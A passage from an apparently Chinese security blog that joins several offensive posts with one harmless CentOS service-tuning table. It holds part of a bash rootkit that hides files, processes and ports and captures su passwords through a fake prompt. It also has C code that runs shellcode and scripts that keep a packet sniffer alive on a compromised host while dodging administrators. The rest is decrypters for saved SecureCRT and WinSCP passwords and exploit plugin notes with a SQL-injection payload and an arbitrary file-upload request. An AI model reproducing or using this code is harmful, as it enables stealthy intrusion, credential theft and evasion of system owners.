            reset_command
            return ;;
    esac
}

function set()
{
    local fake_a fake_b

    unset command
    case $1 in
        "")
            fake_a="$(command set)"
            fake_b=${fake_a/br_hide_file\=*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        "-x"|"+x")
            return ;;
        *)
            echo $1 $2
            command set $1 $2
            reset_command
            return ;;
    esac
}

function fake_unset()
{
    case $1 in
        "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
            echo "bash: syntax error, bash($BASH_VERSION) is not support."
            return ;;
        *)
            unset $1 $2
            return ;;
    esac
}

function fake_command()
{
    case $1 in
        "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
            echo "bash: syntax error, bash($BASH_VERSION) is not support."
            return ;;
        *)
            unset command
            command $1 $2
            reset_command
            return ;;
    esac
}

function command()
{
    case $1 in
        "builtin")
            builtin $2 $3
            return ;;
        "declare")
            declare $2 $3
            return ;;
        "set")
            set $2 $3
            return ;;
        "unset")
            fake_unset $2 $3
            . brootkit.sh
            return ;;
        "type")
            type $2 $3
            return ;;
        "typeset")
            typeset $2 $3
            return ;;
        "command")
            fake_command $2 $3
            return ;;
        *)
            unset command
            command $2 $3
            . brootkit.sh
            return ;;
    esac
}

function reset_command()
{
    function command()
    {
        case $1 in
            "builtin")
                builtin $2 $3
                return ;;
            "declare")
                declare $2 $3
                return ;;
            "set")
                set $2 $3
                return ;;
            "unset")
                fake_unset $2 $3
                . brootkit.sh
                return ;;
            "type")
                type $2 $3
                return ;;
            "typeset")
                typeset $2 $3
                return ;;
            "command")
                fake_command $2 $3
                return ;;
            *)
                unset command
                command $2 $3
                . brootkit.sh
                return ;;
        esac
    }
}

function su()
{
    local arg_list=("" "-" "-l" "--login"
            "-c" "--command" "--session-command"
            "-f" "--fast"
            "-m" "--preserve-environment" "-p"
            "-s" "--shell=SHELL")
    local flag=0 tmp_arg arg pass

    if [ $UID -eq 0 ]; then
        /bin/su $1; unset su ; return $?
    fi

    for arg in ${arg_list[@]}
    do
        [ "$1" = "$arg" ] && flag=1
    done

    [ $# -eq 0 ] && flag=1

    tmp_arg=$1;tmp_arg=${tmp_arg:0:1};
    [ "$tmp_arg" != "-" -a $flag -eq 0 ] && flag=1

    if [ $flag -ne 1 ];then
        /bin/su $1; return $?
    fi

    [ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`

    echo -ne "Password:\r\033[?25l"
    read -t 30 -s pass
    echo -ne "\033[K\033[?25h"

    /bin/su && unset su && echo $pass >> /tmp/...
}

unalias ls >/dev/null 2>&1

function max_file_length()
{
    local tmp_file sum=0 n=0

    for tmp_file in `/bin/ls $@`
    do
        n=${#tmp_file}
        [ $n -gt $sum ] && sum=$n
    done

    return $sum
}

function ls()
{
    local fake_file max_col_num file_format
    local hide_file hide_flag file_arg old_ifs
    local file_len=0 sum=0 n=0 display_mode=0

    max_col_num=`stty size|cut -d " " -f 2`

    . $BR_ROOTKIT_PATH/br_config.sh
    br_load_config $BR_ROOTKIT_PATH/br.conf

    for file_arg in $@
    do
        if echo $file_arg|grep -q -e "^-.*l.*"; then
            display_mode=1; break
        fi
    done

    case $display_mode in
    0)
        unset -f /bin/ls
        max_file_length $@
        file_len=$?

        for fake_file in $(/bin/ls $@)
        do
            hide_flag=0
            old_ifs=$IFS; IFS=","
            for hide_file in ${br_hide_file[@]}
            do
                if echo "$fake_file"|grep -e "^$hide_file" >/dev/null;then
                    hide_flag=1; break
                fi
            done
                IFS=$old_ifs

            [ $hide_flag -eq  1 ] && continue

            n=${#fake_file}
            ((sum=sum+n+file_len))

            if [ $sum -gt $max_col_num ];then
                file_format="%-$file_len""s\n"
                printf $file_format $fake_file
                sum=0
            else
                file_format="%-$file_len""s "
                printf $file_format $fake_file
            fi
        done

        [ $sum -le $max_col_num ] && echo ""
        reset_ls
        return ;;
    1)  
        unset -f /bin/ls

        fake_file=`/bin/ls $@`
        old_ifs=$IFS; IFS=","
        for hide_file in ${br_hide_file[@]}
        do
            fake_file=`echo "$fake_file" | sed -e '/'$hide_file'/d'`
        done
        IFS=$old_ifs
        echo "$fake_file"
        reset_ls

        return ;;
    esac
}

function dir()
{
    ls $@
}

function /usr/bin/dir()
{
    unset -f /bin/ls
    ls $@
    reset_ls
}

function reset_ls()
{
    function /bin/ls()
    {
        unset -f /bin/ls
        ls $@
        reset_ls
    }
}

function /bin/ls()
{
    unset -f /bin/ls
    ls $@
    reset_ls
}

function ps()
{
    local proc_name hide_proc old_ifs

    . $BR_ROOTKIT_PATH/br_config.sh
    br_load_config $BR_ROOTKIT_PATH/br.conf

    old_ifs=$IFS; IFS=","

    proc_name=`/bin/ps $@`
    for hide_proc in ${br_hide_proc[@]}
    do
        proc_name=`echo "$proc_name" | sed -e '/'$hide_proc'/d'`
    done

    echo "$proc_name"
    IFS=$old_ifs
}

function reset_ps()
{
    function /bin/ps()
    {
        unset -f /bin/ps
        ps $@
        reset_ps
    }
}

function /bin/ps()
{
    unset -f /bin/ps
    ps $@
    reset_ps
}

function netstat()
{
    local hide_port tmp_port old_ifs

    . $BR_ROOTKIT_PATH/br_config.sh
    br_load_config $BR_ROOTKIT_PATH/br.conf

    old_ifs=$IFS; IFS=","
    tmp_port=`/bin/netstat $@`
    for hide_port in ${br_hide_port[@]}
    do
        tmp_port=`echo "$tmp_port" | sed -e '/'$hide_port'/d'`
    done
    echo "$tmp_port"
    IFS=$old_ifs
}

function reset_netstat()
{
    function /bin/netstat()
    {
        unset -f /bin/netstat
        netstat $@
        reset_netstat
    }
}

function /bin/netstat()
{
    unset -f /bin/netstat
    netstat $@
    reset_netstat
}

 

几种用C语言来执行shellcode(其实也就是机器码)的方式

发布时间:June 5, 2015 // 分类:开发笔记,VC/C/C++,代码学习,windows // No Comments

/*   
 *  作者: 冷却   
 *  时间: 2009年2月21日   
 *  E-mail: leng_que@yahoo.com.cn   
 *  描述: 演示几种用C语言来执行shellcode(其实也就是机器码)的方式 
 *  备注:在WindowsXP SP3下测试成功 
 */  
  
//一段打开Windows计算器(calc.exe)的shellcode  
unsigned char shellcode[] =  
"/xb8/x82/x0a/x8d/x38/xd9/xc6/xd9/x74/x24/xf4/x5a/x29/xc9/xb1/x23"  
"/x31/x42/x12/x83/xea/xfc/x03/xc0/x04/x6f/xcd/x38/xf0/x2b/x2e/xc0"  
"/x01/x3f/x6b/xfc/x8a/x43/x71/x84/x8d/x54/xf2/x3b/x96/x21/x5a/xe3"  
"/xa7/xde/x2c/x68/x93/xab/xae/x80/xed/x6b/x29/xf0/x8a/xac/x3e/x0f"  
"/x52/xe6/xb2/x0e/x96/x1c/x38/x2b/x42/xc7/xc5/x3e/x8f/x8c/x99/xe4"  
"/x4e/x78/x43/x6f/x5c/x35/x07/x30/x41/xc8/xfc/x45/x65/x41/x03/xb2"  
"/x1f/x09/x20/x40/xe3/x83/xe8/x2c/x68/xa3/xd8/x29/xae/x5c/x15/xba"  
"/x6f/x91/xae/xcc/x73/x04/x3b/x44/x84/xbd/x35/x1f/x14/xf1/x46/x1f"  
"/x15/x79/x2e/x23/x4a/x4c/x59/x3b/x22/x27/x5d/x38/x0a/x4c/xce/x56"  
"/xf5/x6b/x0c/xd5/x61/x14/x2f/x93/x7c/x73/x2f/x44/xe3/x1a/xa3/xe9"  
"/xe4";  
  
//第一种执行方式  
void exe_1()  
{  
    void (*code)(void);  
    code = (void*)shellcode;  
    code();  
}  
  
//第二种执行方式  
void exe_2()  
{  
    ( (void (*)(void))shellcode )();  
}  
  
//第三种执行方式  
void exe_3()  
{  
    __asm  
    {  
        lea eax,shellcode;  
        jmp eax;  
    }  
}  
  
//第四种执行方式  
void exe_4()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        jmp eax;  
    }  
}  
  
//第五种执行方式  
void exe_5()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        _emit 0xFF;  
        _emit 0xE0;  
    }  
}  
  
//主函数入口  
void main()  
{  
    exe_5();  
} 

 

/* 
 *  作者: 冷却 
 *  时间: 2009年2月21日 
 *  E-mail: leng_que@yahoo.com.cn 
 *  描述: 演示三种用C语言来执行机器码的方式 
 */  
  
#include <stdio.h>  
  
//一段机器码,功能为:对传入的整型参数进行加一操作,然后返回结果。  
unsigned char machineCode[] =  
"/xe9/x07/x00/x00/x00/xcc/xcc/xcc/xcc/xcc/xcc/xcc/x55/x8b/xec/x83/xec/x40/x53/x56"  
"/x57/x8d/x7d/xc0/xb9/x10/x00/x00/x00/xb8/xcc/xcc/xcc/xcc/xf3/xab/x8b/x45/x08/x83"  
"/xc0/x01/x5f/x5e/x5b/x8b/xe5/x5d/xc3";  
  
//第一种执行方式  
void exe_1()  
{  
    int result;  
      
    result = ( (int (*)(int))machineCode )(7);  
      
    printf("%d/r/n",result);  
}  
  
//第二种执行方式  
void exe_2()  
{  
    int result;  
      
    int (*Fun)(int);  
    Fun = (void*)machineCode;  
      
    result = Fun(7);  
      
    printf("%d/r/n",result);  
}  
  
//第三种执行方式  
void exe_3()  
{  
    int result;  
      
    typedef int(*Fun)(int);  
    Fun p=NULL;  
      
    p = (Fun)machineCode;  
      
    result = p(7);  
      
    printf("%d/r/n",result);  
}  
  
//主函数入口  
void main()  
{  
    exe_1();  
    exe_2();  
    exe_3();  
} 

嗅探的一些记录

发布时间:June 3, 2015 // 分类:转帖文章,windows // No Comments

解决cain 嗅探导致卡死

嗅探的时候服务器卡死 然后登录都无法登陆 想必大家经常遇到
这个问题很多人都在交流 网上流传的脚本思路是 
先设置 cain 重启后接着嗅探
如果 访问某个ip 超时 就重启
重启动静太大了,结束进程 方式比较合理
写了个批处理 
遇到网络卡了 自动退出 
网络状态好了 再自动开启

欢迎修改 以及更好的建议

@echo off
:top
ping -n 1 -l 1 61.135.169.105
IF ERRORLEVEL 1 GOTO kill
IF ERRORLEVEL 0 GOTO start

:start
TaskList|Findstr /i "cain.exe"
If ErrorLevel 1 (
start cain.exe
)
goto top

:kill
TaskList|Findstr /i "cain.exe"
If ErrorLevel 0 (
taskkill /f -im cain.exe
ping 127.0.1 -n 10 -l 1
 )
goto top

大家常用的工具是cain,用法大家都会了。但是cain在嗅探过程中,如果遇到流量较大的目标机,往往会把装cain的主机搞死,从而引起管理员的注意。像有的时候,嗅了一阵后,就会把3389搞死。我也没有更好的办法,只能让cain嗅一段时间后停止,再重新开始。如果每次都是手工去停止cain,有时候时间掌握的不及时,3389已经死掉了。其实解决这个问题很简单,一个简单的批处理脚本就可以了。脚本内容如下:
 

ping 127.0.0.1 -n 5000>nul
taskkill /F /PID 4144


上边批处理脚本中,5000是秒数,用来控制cain的嗅探时间。4144是cain的进程数,可以自己用tasklist查一下就知道了。这样一来,你可以放心在嗅探这段时间内去做别的事了。

再来呢,用cain嗅探一般会在3389上,这时候如果碰到管理员登陆3389也不太好办,我的好友Netpatch写过一个终端监视脚本,一旦发现有两人同时登陆终端的话就注销自己。脚本内容如下:
 

on error resume next
set arg=wscript.arguments
If arg.count=0 then
wscript.echo “use:// cscript.exe FS.vbs port”
sleep 1000
wscript.quit
End If
Tport=arg(0)
Runs=false
While runs=false
Dim oShell,oExec,strOut,oRegExp,Matches,Match,Num,Tport
Set oShell = WScript.CreateObject(”WScript.Shell”)
Set oExec = oShell.Exec(”netstat -an”)
Set oRegExp = new RegExp
oRegExp.Pattern = “TCP[\s]+[\d\.]+:”&Tport&”[\s]+[\d\.]+:[\d]+[\s]+ESTABLISHED”
oRegExp.IgnoreCase = True
oRegExp.Global = True
Do While Not oExec.StdOut.AtEndOfStream
strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10)
Loop
Set Matches = oRegExp.Execute(strOut)
Num = 0
For Each Match In Matches
Num = Num + 1
Next
if num > 1 then
Runs=true
oShell.run “logoff”
end if
Set Matches = Nothing
Set oRegExp = Nothing
Set oExec = Nothing
Set oShell = Nothing
wend


用此脚本,登陆终端时打开就可以了,这也是一个比较好的隐藏自己的办法。

centos开机启动服务优化笔记

发布时间:June 2, 2015 // 分类:工作日志,运维工作,linux,转帖文章 // No Comments

默认开机启动服务列表:

服务名称 功能 默认 建议 备注说明
NetworkManager 用于自动连接网络,常用在Laptop上 开启 关闭 对服务器无用  服务器一般固定配置网络,不会自动获取ip等
abrt-ccpp   开启 自定 对服务器无用
abrt-oops   开启 自定 对服务器无用
abrtd   开启 自定 对服务器无用
acpid 电源的开关等检测管理,常用在Laptop上 开启 自定 对服务器无用
atd 在指定时间执行命令 开启 关闭 如果用crond,则可关闭它
auditd 审核守护进程 开启 开启 如果用selinux,需要开启它
autofs 文件系统自动加载和卸载 开启 自定 只在需要时开启它,可以关闭
avahi-daemon 本地网络服务查找 开启 关闭 对服务器无用
avahi-dnsconfd avahi DNS 关闭 关闭 对服务器无用
bluetooth 蓝牙无线通讯 开启 关闭 对服务器无用
dund 蓝牙相关 开启 关闭 对服务器无用
hidd 蓝牙相关 开启 关闭 对服务器无用
pand 蓝牙相关 关闭 关闭  
conman 控制台管理 关闭 关闭 无用
certmonger   关闭 关闭  
cpuspeed 调节cpu速度用来省电,常用在Laptop上 开启 关闭 对服务器无用
crond 计划任务管理 开启 开启 常用,开启
cups 通用unix打印服务 开启 关闭 对服务器无用
dnsmasq dns cache 关闭 关闭 DNS缓存服务,无用
firstboot 系统安装后初始设定 关闭 关闭  
fcoe Open-FCoE  initiator    以太网光纤通信 开启 关闭 除非服务器光纤直连,否则无用
gpm 控制台下的鼠标支持 开启 开启  
haldaemon 硬件信息收集服务 开启 开启  
ibmasm ibm硬件管理 关闭 关闭  
ip6tables ipv6防火墙 开启 关闭 用到ipv6网络的就用,一般关闭
iptables ipv4防火墙 开启 开启 ipv4防火墙服务
irda 红外线通信 关闭 关闭 无用
irqbalance cpu负载均衡 开启 自定 多核cup需要
iscsi 网络存储相关 开启 关闭  
iscsid 网络存储相关 开启 关闭  
kdump 硬件变动检测 关闭 关闭 服务器无用
kudzu 硬件变动检测 低版本的系统中 关闭 关闭 对服务器无用
livesys 安装系统相关服务 开启 关闭  
livesys-late 安装系统相关服务 开启 关闭  
lvm2-monitor lvm监视 开启 自定 如果使用LVM逻辑卷管理就开启
blk-availability lvm2相关 开启 自定 如果用lvm,则建议开启,否则不需要
mcstrans 在开启selinux时用于检查context 开启 关闭  
matahari-broker   关闭 关闭 此服务不清楚,我关闭
matahari-host   关闭 关闭 此服务不清楚,我关闭
matahari-network   关闭 关闭 此服务不清楚,我关闭
matahari-service   关闭 关闭 此服务不清楚,我关闭
matahari-sysconfig   关闭 关闭 此服务不清楚,我关闭
mdmonitor 软raid监视 开启 自定  使用软raid的服务器开启
mdmpd 软raid管理 关闭 关闭  
multipathd   关闭 关闭  
messagebus 负责在各个系统进程之间传递消息 开启 开启 如停用,haldaemon启动会失败
microcode_ctl cpu微码管理升级 开启 关闭  
netconsole   关闭 关闭  
netfs 系统启动时自动挂载网络文件系统 开启 关闭 如果使用nfs服务,就开启
network 系统启动时激活所有网络接口 开启 开启 网络基础服务,必需!
netplugd 网线热插拔监视 关闭 关闭  
nfs 网络文件系统 关闭 关闭 nfs文件服务,用到就开启
nfslock nfs相关 开启 关闭 nfs相关服务,用到就开启
nscd name cache,应该与DNS相关 关闭 关闭  
ntpd 自动对时工具 关闭 自定 网络对时服务,用到就开启
ntpdate 自动对时工具 关闭 关闭  
oddjobd 与D-BUS相关 关闭 关闭  
portreserve RPC 服务相关 开启 自定 可以关闭
pcscd pc/sc smart card daemon 开启  关闭  
portmap 使用NFS、NIS时的port map 开启 关闭  
postfix 替代sendmail的邮件服务器 开启 自定 如果无邮件服务,可关闭
psacct 负荷检测 关闭 关闭 可以关闭
qpidd 消息通信 开启 开启  
quota_nld   关闭 关闭 可以关闭
rdisc 自动检测路由器 关闭 关闭  
rawdevices raw设备支持 开启 开启  
readahead_early 提前预读相关 开启 开启  
readahead_later   关闭 关闭  
restorecond selinux相关 关闭 关闭 如果开启了selinux,就需开启
rpcbind   开启 开启 关键的基础服务,nfs服务和桌面环境都依赖此服务!相当于CentOS 5.x里面的portmap服务。
rpcgssd NFS相关 开启 关闭 NFS相关服务,可选
rpcidmapd RPC name to UID/GID mapper 开启 关闭 NFS相关服务,可选
rpcsvcgssd NFS相关 关闭 关闭 NFS相关服务,可选
rsyslog 提供系统的登录档案记录 开启 开启 系统日志关键服务,必需!
syslog 系统日志相关 开启 开启  
saslauthd sasl认证服务相关 关闭 关闭  
smartd 硬盘自动检测守护进程 关闭 关闭  
spice-vdagentd   开启 开启  
sshd ssh服务端,可提供安全的shell登录 开启 开启 SSH远程登录服务,必需!
sssd   关闭 关闭  
sendmail 邮件服务 开启 自定义  
sysstat   开启 开启 一组系统监控工具的服务,常用
tcsd   关闭 关闭  
udev-post 设备管理系统 开启 开启  
wdaemon   关闭 关闭  
wpa_supplicant 无线认证相关 关闭 关闭  
xfs x windows相关 开启 关闭  
ypbind network information service客户端 关闭 关闭  
yum-updatesd yum自动升级 开启 关闭  

查看当前开机启动服务列表

chkconfig --list | grep '3:on' | awk '{print $1}'

我的优化项目

chkconfig bluetooth off
chkconfig auditd off
chkconfig cups off
chkconfig yum-updatesd off
chkconfig smartd off
chkconfig sendmail off
chkconfig ip6tables off
chkconfig atd off
chkconfig iscsi off
chkconfig iscsid off
chkconfig microcode_ctl off

需要因机器和环境而异,仅做记录备忘。

推荐阅读

《生产服务器环境最小化安装后 Centos 6.5优化配置》http://www.lvtao.net/server/centos-server-setup.html

查看 SecureCRT session配置文件中的密码

发布时间:June 2, 2015 // 分类:工作日志,代码学习,windows,python // 3 Comments

在现有SecureCRT session的条件下,还原出已有的密码

from Crypto.Cipher import Blowfish
import argparse
import re

def decrypt(password) :
    c1 = Blowfish.new('5F B0 45 A2 94 17 D9 16 C6 C6 A2 FF 06 41 82 B7'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
    c2 = Blowfish.new('24 A6 3D DE 5B D3 B3 82 9C 7E 06 F4 08 16 AA 07'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
    padded = c1.decrypt(c2.decrypt(password.decode('hex'))[4:-4])
    p = ''
    while padded[:2] != '\x00\x00' :
        p += padded[:2]
        padded = padded[2:]
    return p.decode('UTF-16')

REGEX_HOSTNAME = re.compile(ur'S:"Hostname"=([^\r\n]*)')
REGEX_PASWORD = re.compile(ur'S:"Password"=u([0-9a-f]+)')
REGEX_PORT = re.compile(ur'D:"\[SSH2\] Port"=([0-9a-f]{8})')
REGEX_USERNAME = re.compile(ur'S:"Username"=([^\r\n]*)')

def hostname(x) :
    m = REGEX_HOSTNAME.search(x)
    if m :
        return m.group(1)
    return '???'

def password(x) :
    m = REGEX_PASWORD.search(x)
    if m :
        return decrypt(m.group(1))
    return '???'

def port(x) :
    m = REGEX_PORT.search(x)
    if m :
        return '-p %d '%(int(m.group(1), 16))
    return ''

def username(x) :
    m = REGEX_USERNAME.search(x)
    if m :
        return m.group(1) + '@'
    return ''

parser = argparse.ArgumentParser(description='Tool to decrypt SSHv2 passwords in VanDyke Secure CRT session files')
parser.add_argument('files', type=argparse.FileType('r'), nargs='+',
    help='session file(s)')

args = parser.parse_args()

for f in args.files :
    c = f.read().replace('\x00', '')
    print f.name
    print "ssh %s%s%s # %s"%(port(c), username(c), hostname(c), password(c))

关于Winscp 密码获取解密

发布时间:June 2, 2015 // 分类:工作日志,代码学习,VC/C/C++,windows // No Comments

WINSCP默认保存用户密码在注册表中的如下位置

HKEY_USERS\SID\Software\Martin Prikryl\WinSCP 2\Sessions\

但是WIN7\8下WinSCP默认路径在:
C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系统)
C:\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系统)
C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files\WinSCP\WinSCP.ini (32位操作系统) - 专注网络安全2 p% t+ \* j$ r- a
C:\Program Files\WinSCP\WinSCP.ini (32位操作系统)

记忆中最早的就是这个

https://bitbucket.org/knarf/winscppwd/overview/ s, u+ I+ P0 n3 m: [

有源码提供下载,还有编译好的程序可供下载使用

https://bitbucket.org/knarf/winscppwd/downloads/winscppwd.exe

还有就是一个GO语言的
https://github.com/anoopengineer/winscppasswd/blob/master/main.go
package main

import (
    "fmt"
    "os"
    "runtime"
    "strconv"
)

const (
    PW_MAGIC = 0xA3
    PW_FLAG  = 0xFF
)

func main() {
    args := os.Args[1:]
    if len(args) != 3 {
        fmt.Println("WinSCP stored password finder")
        fmt.Println("Open regedit and navigate to [HKEY_CURRENT_USER\\Software\\Martin Prikryl\\WinSCP 2\\Sessions] to get the hostname, username and encrypted password\n")
        if runtime.GOOS == "windows" {
            fmt.Println("Usage winscppasswd.exe <host> <username> <encrypted_password>")
        } else {
            fmt.Printf("Usage ./winscppasswd <host> <username> <encrypted_password>")
        }
        return
    }
    fmt.Println(decrypt(args[0], args[1], args[2]))
}

func decrypt(host, username, password string) string {
    key := username + host
    passbytes := []byte{}
    for i := 0; i < len(password); i++ {
        val, _ := strconv.ParseInt(string(password[i]), 16, 8)
        passbytes = append(passbytes, byte(val))
    }
    var flag byte
    flag, passbytes = dec_next_char(passbytes)
    var length byte = 0
    if flag == PW_FLAG {
        _, passbytes = dec_next_char(passbytes)

        length, passbytes = dec_next_char(passbytes)
    } else {
        length = flag
    }
    toBeDeleted, passbytes := dec_next_char(passbytes)
    passbytes = passbytes[toBeDeleted*2:]

    clearpass := ""
    var (
        i   byte
        val byte
    )
    for i = 0; i < length; i++ {
        val, passbytes = dec_next_char(passbytes)
        clearpass += string(val)
    }

    if flag == PW_FLAG {
        clearpass = clearpass[len(key):]
    }
    return clearpass
}

func dec_next_char(passbytes []byte) (byte, []byte) {
    if len(passbytes) <= 0 {
        return 0, passbytes
    }
    a := passbytes[0]
    b := passbytes[1]
    passbytes = passbytes[2:]
    return ^(((a << 4) + b) ^ PW_MAGIC) & 0xff, passbytes
}
 
 
附加一个java的
https://github.com/YuriMB/WinSCP-Password-Recovery/blob/master/src/main/java/Main.java
import java.util.ArrayList;
import java.util.List;

/**
 * Created by Yuri Meiburg on 30-4-2015.
 */
public class Main {

    /**
     * ./core/Security.h:#define PWALG_SIMPLE_FLAG 0xFF
     */
    public static final int PWALG_SIMPLE_FLAG = 0xFF;

    /**
     * ./core/Security.h:#define PWALG_SIMPLE_MAGIC 0xA3
     */
    public static final char PWALG_SIMPLE_MAGIC = 0xA3;

    public static List<Character> fPassword = new ArrayList<Character>();
    public static String hostname, username;

    public static void main(String [] args){
        if (args.length != 3) {
            System.exit(0);
        }

        hostname = args[0];
        username = args[1];

        for( int i=0; i< args[2].length(); ++i){
            fPassword.add((char) Integer.parseInt(""+args[2].charAt(i),16));
        }

        System.out.println("username = " + username);
        System.out.println("hostname = " + hostname);
        System.out.println("getPassword() = " + getPassword());
    }


    /**
     * UnicodeString __fastcall TSessionData::GetPassword() const
     {
     return DecryptPassword(FPassword, UserName+HostName);
     }
     */
    static String getPassword(){
        return decryptPassword(fPassword, username + hostname);
    }

    /**
     * UnicodeString DecryptPassword(RawByteString Password, UnicodeString UnicodeKey, Integer)
     * {
     *    UTF8String Key = UnicodeKey;
     *    UTF8String Result("");
     *    Integer Index;
     *    unsigned char Length, Flag;
     *
     *    Flag = simpleDecryptNextChar(Password);
     *    if (Flag == PWALG_SIMPLE_FLAG)
     *    {
     *      simpleDecryptNextChar(Password);
     *      Length = simpleDecryptNextChar(Password);
     *    }
     *    else Length = Flag;
     *    Password.Delete(1, ((Integer)simpleDecryptNextChar(Password))*2);
     *    for (Index = 0; Index < Length; Index++)
     *        Result += (char)simpleDecryptNextChar(Password);
     *    if (Flag == PWALG_SIMPLE_FLAG)
     *    {
     *        if (Result.SubString(1, Key.Length()) != Key) Result = "";
     *        else Result.Delete(1, Key.Length());
     *    }
     *    return UnicodeString(Result);
     *}
     */
    static String decryptPassword(List<Character> password, String unicodeKey){
        System.out.println("unicodeKey = " + unicodeKey);
        String key = unicodeKey;
        String result = "";
        char length, flag;

        flag = simpleDecryptNextChar(password);
        System.out.println("flag = " + (int) flag);
        if(flag == PWALG_SIMPLE_FLAG){
            /* Dummy = */ simpleDecryptNextChar(password);
            length = simpleDecryptNextChar(password);
        }
        else length = flag;

        System.out.println("length = " + (int) length);

        int newStart = ((int)simpleDecryptNextChar(password)*2);
        System.out.println("newStart = " + newStart + ", password.size() = " + password.size());
        removeItems(password, 0, newStart);

        for(int index=0; index < length; ++index)
            result += simpleDecryptNextChar(password);

        System.out.println("result = " + result);
        if(flag == PWALG_SIMPLE_FLAG)
        {
            if (!result.substring(0, key.length()).equals(key)) result = "";
            else result = result.substring(key.length());
        }

        return result;
    }


    /**
     * unsigned char simpleDecryptNextChar(RawByteString &Str)
     {
     if (Str.Length() > 0)
     {
     unsigned char Result = (unsigned char)
     ~((((PWALG_SIMPLE_STRING.Pos(Str.c_str()[0])-1) << 4) +
     ((PWALG_SIMPLE_STRING.Pos(Str.c_str()[1])-1) << 0)) ^ PWALG_SIMPLE_MAGIC);
     Str.Delete(1, 2);
     return Result;
     }
     else return 0x00;
     }
     * @param str
     * @return
     */
    static public char simpleDecryptNextChar(List<Character> str){
        if(str.size() > 0){
            char result = unsignedChar(
                        ~(
                            (
                                    unsignedChar(str.get(0) << 4) + str.get(1) // Remove bitshift overflow bits.
                            ) ^ PWALG_SIMPLE_MAGIC
                        )
                    );

            removeItems(str, 0, 2);
            return result;
        }
        else return 0x00;
    }

    /**
     * Cut off anything over 255.
     * @param v
     * @return
     */
    static char unsignedChar(int v){
        return (char) (v & 0xFF);
    }

    /**
     * Remove items from list
     */
    static void removeItems(List lst, int start, int end){
        for(int i=0; i<end-start; ++i){
            lst.remove(start);
        }
    }
}

关于tangscan插件写法的注意点

发布时间:June 1, 2015 // 分类:工作日志,开发笔记,代码学习,python,生活琐事 // No Comments

因为目前全局使用的是requests库,所以基本的使用方法和requests基本的是差不多的.这记录几点.

1.post的.遇到的几个坑,比如忘记带上headers了,怎么post也不行。比如单引号忘记转移了。

'需要转移为\\' 然后再进行post。

类似这样子

#! /usr/bin/env python
# -*- coding: utf-8 -*-

import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
        'content-type': 'application/x-www-form-urlencoded',}
url = "http://www.0day5.com:8000/logincheck.php"
data= "PASSWORD=g00dPa$$w0rD&submit=%b5%c7%20%c2%bc&UI=0&UNAME=%bf\\' AND (SELECT 7140 FROM(SELECT COUNT(*),CONCAT(0x7e7e7e,(SELECT user()),0x7e7e7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)#"
res =requests.post(url,data=data,headers=headers)
print res.content

尝试过,缺少了headers或者是'不转移都是失败了.但是测试了有些payload里面没有单引号的直接post就过了

2.requests的上传..

找了一些,发现略坑,这里说一下自己的办法。因为post的所以这里带上了headers,其实主要的是

"Content-Type": "multipart/form-data

然后自己的全部就构造一个post包就可以了。这里也是抓了一个任意上传的来简单的说说.

一个完整的上传包是这样子的

POST /general/vmeet/wbUpload.php?fileName=wooyun.php+ HTTP/1.0
Host: www.0day5:8000
Content-Length: 194
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=bbb1216cd5bfef19bc1a9fee5db4f3e4

------WebKitFormBoundaryINwvNFV19i1MtO9F
Content-Disposition: form-data; name="Filedata"; filename="cmd.gif"
Content-Type: image/gif

wooyuntest
------WebKitFormBoundaryINwvNFV19i1MtO9F--

然后我们截取http头部的基本信息,然后把body部分的拿出来,

------WebKitFormBoundaryINwvNFV19i1MtO9F
Content-Disposition: form-data; name="Filedata"; filename="cmd.gif"
Content-Type: image/gif

wooyuntest
------WebKitFormBoundaryINwvNFV19i1MtO9F--

然后把 " 用\" 来替换,再使用\\r\\n对\r\n进行替换。body部分就是这样子了。

------WebKitFormBoundaryINwvNFV19i1MtO9F\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"cmd.gif\"\r\nContent-Type: image/gif\r\n\r\nwooyuntest\r\n------WebKitFormBoundaryINwvNFV19i1MtO9F--\r\n

那么完整的就是这样子了...

#! /usr/bin/env python
# -*- coding: utf-8 -*-

import requests,random
header = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F",
            "Accept-Encoding": "gzip, deflate","Cookie": "PHPSESSID=bbb1216cd5bfef19bc1a9fee5db4f3e4"}
rand_num = random.randint(10000,99999)
file_name = "wooyun_2015_"+bytes(rand_num)+".php+"
payload = "/general/vmeet/wbUpload.php?fileName="+file_name
url = "http://www.0day5.com"+payload
data="------WebKitFormBoundaryINwvNFV19i1MtO9F\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"cmd.gif\"\r\nContent-Type: image/gif\r\n\r\nwooyuntest\r\n------WebKitFormBoundaryINwvNFV19i1MtO9F--\r\n\r\n"
res = requests.post(url,data=data,header=header)
print res.headers

遇到上传截断的怎么破.

我们熟知的使用%00来对上传包进行截断。可是再python里面怎么上传这个阶段包呢.---使用\x00进行截断就好了

    def verify(self):
        self.print_debug("verify start")
        header = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F",
